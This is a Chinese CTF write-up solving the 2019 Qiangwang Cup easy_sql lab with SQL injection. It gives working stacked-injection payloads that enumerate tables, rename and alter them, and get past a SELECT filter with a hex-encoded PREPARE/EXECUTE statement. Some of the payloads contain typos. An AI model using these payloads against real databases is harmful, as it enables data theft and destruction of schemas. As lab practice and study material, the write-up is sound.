实践2
靶机链接:easy_sql (kanxue.com)(题目来之19年强网杯随便注)
显而易见的注入点
判断是否存在注入漏洞
1'
说明存在,接着我们判断字段数
1' orber by 1 #
1' order by 2 # (1,2均返回正常)
1' order by 3 #(到3时返回报错)
说明字段数为2
尝试看看能不能拿到数据库名
1' union select 1, database()#
看到select被过滤掉了,后面采用了大小写、编码等常见的绕过效果不理想,所以我们果断更换思路。
尝试采用堆叠注入
1';show databases;# (查数据库)
1';show tables;#(报表)
现在我们知道了表名便可以挨个查里面的内容了
1'; show column from words;#
可见并没有我们想要的东西,那就接着查下一个
1';show columns from '1919810931114514';#
这里不知道为什么这个表就是查不出来了,既然我们已经确定了flag在这个表里了索性就不截图了
(强迫症犯了不查出来难受)
既然查之前一大串数字表名老是查不出来,干脆直接将原来的数字表名改为好查的英文表名ok
1';rename table '1919810931114514' to ok;#
这里的回显不明显,所以改完之后可以用前面的1';show tables;#查看一下是否成功了(很显然我是成功了的,哈哈哈)
这里有一个知识点:
对已知表名的修改1';rename table '1919810931114514' to ok;#
之后呢便是想办法查出flag里的内容了
这里属实不知道怎么做的了,看好几位大佬的WP都没懂
以下是我复现成功的方法
方法一
原作者:buuoj强网杯2019随便注_buuoj.cn/challenges[强网杯 2019]随便注 1-CSDN博客
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
这里是将select * from '1919810931114514'进行了不单纯的16进制编码
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值,如下:
复制代码 代码如下:
SELECT @VAR1=‘Y’,@VAR2=‘N’
– 而SET要达到同样的效果,需要:
SET @VAR1=‘Y’
SET @VAR2=‘N’
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句
方法二
原作者:SQL Injection8(堆叠注入)——强网杯2019随便注_堆叠注入强网-CSDN博客
因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
内部查询语句类似 : select id, data from word where id =
(这里从上面的对word列的查询可以看到它是有两列,id和data)
然后1919810931114514只有一个flag字段
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
接着我们再用1’ or 1=1 #,查询就得到flag
方法二我试了好几次都会出现下面的状况
出现了这个状况后就只能销毁靶机了,其他的操作都无法实现了。
不知是为何希望能有路过的大佬指点一番,十分感谢。